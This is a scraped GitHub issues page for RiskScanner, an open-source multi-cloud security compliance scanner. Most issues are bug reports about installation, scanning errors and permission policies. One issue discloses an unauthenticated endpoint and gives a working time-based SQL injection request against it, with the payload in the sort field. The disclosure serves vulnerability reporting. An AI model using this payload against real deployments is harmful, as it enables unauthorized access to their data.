fit2cloud/riskscanner

RiskScanner 是开源的多云安全合规扫描平台，基于 Cloud Custodian 和 Nuclei 引擎，实现对主流公(私)有云资源的安全合规扫描和漏洞扫描。

---

FIT2CLOUD 飞致云创立于 2014 年，秉持“软件用起来才有价值，才有改进的机会”的核心价值观，以“为数字经济时代创造好软件”为使命，致力于成为中国数字化团队首选的通用工具软件提供商。

飞致云是中国领先的开源软件公司。飞致云旗下的开源项目在开源社区表现出了卓越的成长性，在代码托管平台 GitHub 上所获得的 Star 总数已经超过 100,000 个。

飞致云旗下的开源项目

• JumpServer - 广受欢迎的开源堡垒机
• DataEase - 人人可用的开源数据可视化分析平台
• MeterSphere - 一站式开源自动化测试平台
• 1Panel - 现代化、开源的 Linux 服务器运维管理面板
• Halo - 强大易用的开源建站工具
• CloudExplorer Lite - 开源的轻量级云管平台

相关链接

• 官网
• 论坛
• 博客
• 开源大屏

riskscanner's Issues

云原生安全

HummerRisk 是云原生安全平台，包括混合云安全治理和容器云安全检测。
https://github.com/HummerRisk/HummerRisk

无法找到 org.openstack4j.connectors.httpclient.HttpClientFactory;包

在backend/src/main/java/io/riskscanner/proxy/openstack/OpenStackRequest.java文件中import org.openstack4j.connectors.httpclient.HttpClientFactory;报红 openstack4j.jar中没有connetors文件夹

扫描规则》规则组》规则列表 分页存在问题

扫描规则》规则组》规则列表 分页存在问题
阿里云等保预检总共30条规则
无论是选择选择?0/条 每页 还是选择1 2 3页 都是只能看到前10条

在扫描规则》扫描规则里可以正常看到30条规则

前端BUG

v1.1.0 快速部署后,chrome 浏览器访问 前端一直提示 认证信息已过期，请重新登录

添加 云账号处IAM 策略不展示

一键安装报错，文件语法错误？

sh: 6: Syntax error: "(" unexpected

华为云北京一区扫描EIP带宽报错

描述错误
华为云北京一区扫描EIP带宽报错

重现

预期行为
希望不报错，有结果输出

版本：
1.6

异常

2021-07-16 14:03:21 admin Exception: Scan task Failed to create resource: /usr/local/lib/python3.7/site-packages/tencentcloud/cvm/v20170312/models.py:3838: Warning: DedicatedClusterId,IsolatedSource fileds are useless. warnings.warn("%s fileds are useless." % ",".join(memeber_set), Warning) 2021-07-16 14:03:20,929: custodian.output:ERROR Error while executing policy Traceback (most recent call last): File "/src/c7n/policy.py", line 291, in run resources = self.policy.resource_manager.resources() File "/src/tools/c7n_tencent/c7n_tencent/query.py", line 205, in resources resources = self.filter_resources(resources) File "/src/c7n/manager.py", line 121, in filter_resources resources = f.process(resources, event) File "/src/c7n/filters/core.py", line 217, in process return list(filter(self, resources)) File "/src/tools/c7n_tencent/c7n_tencent/filters/filter.py", line 25, in call return self.get_request(i) File "/src/tools/c7n_tencent/c7n_tencent/resources/cvm.py", line 179, in get_request if len(data) == 0: TypeError: object of type 'NoneType' has no len() 2021-07-16 14:03:20,930: custodian.commands:ERROR Error while executing policy tencent-cvm-public-ip-address, continuing Traceback (most recent call last): File "/src/c7n/commands.py", line 282, in run policy() File "/src/c7n/policy.py", line 1176, in call resources = mode.run() File "/src/c7n/policy.py", line 291, in run resources = self.policy.resource_manager.resources() File "/src/tools/c7n_tencent/c7n_tencent/query.py", line 205, in resources resources = self.filter_resources(resources) File "/src/c7n/manager.py", line 121, in filter_resources resources = f.process(resources, event) File "/src/c7n/filters/core.py", line 217, in process return list(filter(self, resources)) File "/src/tools/c7n_tencent/c7n_tencent/filters/filter.py", line 25, in call return self.get_request(i) File "/src/tools/c7n_tencent/c7n_tencent/resources/cvm.py", line 179, in get_request if len(data) == 0: TypeError: object of type 'NoneType' has no len() 2021-07-16 14:03:20,931: custodian.commands:ERROR The following policies had errors while executing - tencent-cvm-public-ip-address

Cidr rule not enforce when scanning tencent.security-group

描述错误

While scanning with the following policy yaml file, the rule will match the security group when it match type, IpProtocol, and Ports condition, the Cidr doesn't seems to be match.

policies:
  - name: tencent-security-group
    resource: tencent.security-group
    filters:
            - type: ingress
              IpProtocol: "TCP"
              Ports: [22,8080]
              Cidr: "0.0.0.0/0"

For testing, i ran the following policy and it didn't match anything, despite passing the custodian validate command.

policies:
  - name: tencent-security-group
    resource: tencent.security-group
    filters:
            - type: ingress
              Cidr: "0.0.0.0/0"

重现
Run the policy against Tencent cloud security group with matching Type, Protocol and Ports, but a different Cidr.

预期行为
Unless specific, all rules/condition should be an AND relationship.

其他内容
riskscanner v1.2.0
Custodian 0.9.4
c7n-tencent 0.1.0
tencentcloud-sdk-python 3.0.407

安装失败

外部mysql连接不上，内部mysql镜像拖不下来。。。

docker riskscanner 一直在重启

##  MySQL 配置, USE_EXTERNAL_MYSQL=1 表示使用外置数据库, 请输入正确的 MySQL 信息
USE_EXTERNAL_MYSQL=1
DB_HOST=xxxxx
DB_PORT=3306
DB_USER=riskscanner
DB_PASSWORD=riskscanner
DB_NAME=riskscanner

安装过程遇到docker-compose: command not found方法处理

运行一下命令
sudo apt install docker-compose

合规状态下也是异常

描述错误
合规状态下也是异常

版本1.6

腾讯云权限策略过长解决办法

以下是经过精简的权限策略赋予。
{
"statement": [
{
"resource": "",
"effect": "allow",
"action": [
"apigw:Describe",
"apigw:GenerateApiDocument",
"as:Describe*",
"asr:DescribeTaskStatus",
"bpaas:Get*",
"cam:Describe*",
"cam:Get*",
"cam:List*",
"cam:LookupRecentlyLogin",
"cam:Query*",
"cas:Describe*",
"cas:Get*",
"cas:List*",
"ccr:GetUserRepositoryList",
"ccr:pull",
"ccs:Check*",
"ccs:Describe*",
"cdb:Describe*",
"cdn:Describe*",
"cdn:Get*",
"cdn:List*",
"cfs:Describe*",
"cfw:Describe*",
"chdfs:Describe*",
"ci:Describe*",
"ci:GenerateMediaInfo",
"ckafka:Describe*",
"ckafka:Get*",
"ckafka:List*",
"clb:Describe*",
"cloudaudit:Describe*",
"cloudaudit:Get*",
"cloudaudit:List*",
"cloudaudit:LookUpEvents",
"cloudaudit:Lookup*",
"cls:get*",
"cls:list*",
"cls:pullLogs",
"cls:searchLog",
"cmqqueue:Get*",
"cmqqueue:List*",
"cmqtopic:Get*",
"cmqtopic:List*",
"cos:Get*",
"cos:Head*",
"cos:List*",
"cos:OptionsObject",
"cpdp:Get*",
"cr:AccountCheckCode",
"cr:AccountCosToken",
"cr:AccountSendCode",
"cr:AccountStatus",
"cr:AcquireAccountLocation",
"cr:Describe*",
"cr:DownloadReport",
"ctsdb:Describe*",
"cvm:Describe*",
"cvm:Inquiry*",
"cynosdb:Describe*",
"dbbrain:Describe*",
"dcdb:Describe*",
"drm:CreateLicense",
"drm:Describe*",
"dsgc:Describe*",
"dts:Describe*",
"ecdn:Describe*",
"ecdn:List*",
"ecm:Describe*",
"es:Describe*",
"gaap:Check*",
"gaap:Describe*",
"gaap:Get*",
"gaap:Inquiry*",
"gme:Describe*",
"gme:Download*",
"habo:Describe*",
"httpdns:Describe*",
"live:Describe*",
"mariadb:Describe*",
"memcached:Describe*",
"mgobe:Describe*",
"mgobe:Get*",
"mongodb:Describe*",
"monitor:Describe*",
"monitor:Get*",
"organization:Get*",
"organization:List*",
"postgres:Describe*",
"postgres:Inquiry*",
"psa:DescribeArchive",
"redis:Describe*",
"redis:Get*",
"redis:Inquiry*",
"scf:Get*",
"scf:List*",
"sls:Get*",
"sls:List*",
"smpn:DescribeSmpnChp",
"smpn:DescribeSmpnFnr",
"smpn:DescribeSmpnMhm",
"smpn:DescribeSmpnMrl",
"soe:DescribeApp",
"soe:DescribeAppCN",
"soe:DescribeBills",
"soe:DescribeBillsCN",
"soe:DescribeDeveloper",
"soe:DescribeDeveloperCN",
"soe:DescribePackages",
"soe:DescribePackagesCN",
"soe:ExtraOralProcess",
"soe:InitOralProcess",
"soe:Overview",
"soe:OverviewCN",
"soe:Statistics",
"soe:StatisticsCN",
"soe:TransmitOralProcess",
"soe:TransmitOralProcessWithInit",
"sqlserver:Describe*",
"sqlserver:InquiryPrice*",
"ssa:SaDivulgeDataQuery*",
"ssa:SaDivulgeOverviewQuery",
"ssa:SaDivulgeProductConfigQuery",
"ssa:SaDivulgeProductQuery",
"ssa:SaDivulgeScanRuleQuery",
"ssa:SaDivulgeScanWhiteQuery",
"ssa:SaEventPrv*",
"ssa:SaEventPub",
"ssa:SaEventType",
"ssa:SaIntelligenceYdVulScanSlaQuery",
"ssa:SaOverview*",
"ssa:SaScreen*",
"ssa:SaSecVulIntelligenceSendMsgReadConfig",
"ssa:SaSecWeeklyReadConfig",
"ssa:SaSecWeeklyRiskType",
"ssa:SaSecWeeklyTitle",
"ssa:SaServiceMng",
"ssa:SaUserBehaviorReport",
"ssa:SaUserLogoRead",
"ssa:SaVulIntelligenceList",
"ssa:SaVulIntelligenceParticularst",
"ssa:SaVulList",
"ssa:SaVulMng",
"ssa:SaVulType",
"ssl:Describe*",
"ssm:Describe*",
"ssm:Get*",
"ssm:List*",
"taf:DetectAccountActivity",
"taf:DetectFraudDownloadAndActivity",
"taf:DetectFraudExposureAndClick",
"taf:DetectFraudFlow",
"taf:DetectFraudKOL",
"taf:EnhanceTaDegree",
"taf:GetRushData",
"taf:GetServiceList",
"taf:QueryCallCount",
"taf:RecognizeCustomizedAudience",
"taf:RecognizePreciseTargetAudience",
"taf:RecognizeTargetAudience",
"tag:DescribeResourceTagsByResourceIds",
"tag:Get*",
"tbase:Describe*",
"tcaplusdb:Describe*",
"tcd:Describe*",
"tcd:Get*",
"tcd:Query*",
"tcr:Describe*",
"tcr:PullRepository*",
"tcv:Describe*",
"tiw:Describe*",
"tke:Describe*",
"tmt:Describe*",
"tpns:CreatePush",
"tpns:Describe*",
"tpns:Download*",
"vod:Describe*",
"vod:GetTaskInfo",
"vod:GetVideoInfo",
"vod:ReadOldAction",
"vod:SearchMedia",
"vpc:Describe*",
"vpc:Get*",
"vpc:Inquiry*",
"vss:CreateVulsReport",
"vss:Describe*",
"waf:BotGet*",
"waf:BotV2Get*",
"waf:Describe*",
"waf:QueryFlows",
"waf:WAFGetUserInfo",
"waf:WafAntiFakeGetUrl",
"waf:WafAreaBanGetAreas",
"waf:WafClsOverview",
"waf:WafDNSdetectGet*",
"waf:WafDownloadAlerts",
"waf:WafDownloadRecords",
"waf:WafDownloadlogs",
"waf:WafFreqGetRuleList",
"waf:WafGet*",
"waf:WafInterface",
"waf:WafPackagePrice",
"waf:WafSearchLogs",
"wwc:Describe*"
]
}
],
"version": "2.0"
}

Azure Cloud Account login not working

描述错误
Azure login is not working.

Error logs

2021-06-03 17:33:42,769 [qtp1753714541-4916] ERROR i.r.commons.utils.PlatformUtils 141 - Method[_getRegions][Cloud account verification failed]
2021-06-03 17:33:47,322 [qtp1753714541-2665] ERROR i.r.commons.utils.PlatformUtils 141 - Method[validateCredential][Account verification failed : org.apache.ibatis.plugin.PluginException: java.util.concurrent.ExecutionException: java.lang.NoSuchMethodError: com.microsoft.azure.credentials.AzureTokenCredentials.defaultSubscriptionId()Ljava/lang/String;]
2021-06-03 17:34:00,973 [qtp1753714541-4916] ERROR i.r.commons.utils.PlatformUtils 141 - Method[validateCredential][Account verification failed : org.apache.ibatis.plugin.PluginException: java.util.concurrent.ExecutionException: java.lang.NoSuchMethodError: com.microsoft.azure.credentials.AzureTokenCredentials.defaultSubscriptionId()Ljava/lang/String;]
2021-06-03 17:34:00,974 [qtp1753714541-4916] ERROR i.r.commons.utils.PlatformUtils 141 - Method[_getRegions][Cloud account verification failed]

重现
Login to Azure and view error.log

预期行为
Able to login to AZ

其他内容
riskscanner v1.2.0
Custodian 0.9.4
c7n-tencent 0.1.0
tencentcloud-sdk-python 3.0.407

sh: 6: Syntax error: "(" unexpected

sh: 6: Syntax error: "(" unexpected

Does the tool support multiple language?

Hi team,

It is really good tool. but does the tool support multiple language?
Or how to translate to another language?
Thank!

当我使用mac，又没有虚拟机的时候，这时说明文档很难告诉我怎么操作

程序有dockerfile文件，但是源代码没有缺少jar包。

riskscanner安全漏洞

在对riskscanner进行入网安全检测的时候。发现其在/resource/list/接口存在未授权获取数据安全漏洞

通过构造该接口的请求发现该接口存在sql注入漏洞。
构造poc
POST /resource/list/1/10 HTTP/1.1
Host: xxx
Content-Length: 41
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.82 Safari/537.36
Content-Type: application/json;charset=UTF-8

{"sort":"1)a union select sleep(5) -- -"}

利用sqlmap工具进行利用

证明漏洞

修复建议。对接口进行强制鉴权。并在后端服务当中对sql语句进行预编译

language translation to English

This need to do language translation as it will definately need international audience attention

RiskScanner 是否提供 Helm Chart？

希望能够一键部署到已有 K8s 集群中去。

RiskScanner 技术支持 微信群 和 QQ 群

历史记录页面点击云帐号名称出现“Failed to copy object"错误

Chrome浏览器在首页-历史记录页面点击云帐号名称出现“Failed to copy object"错误。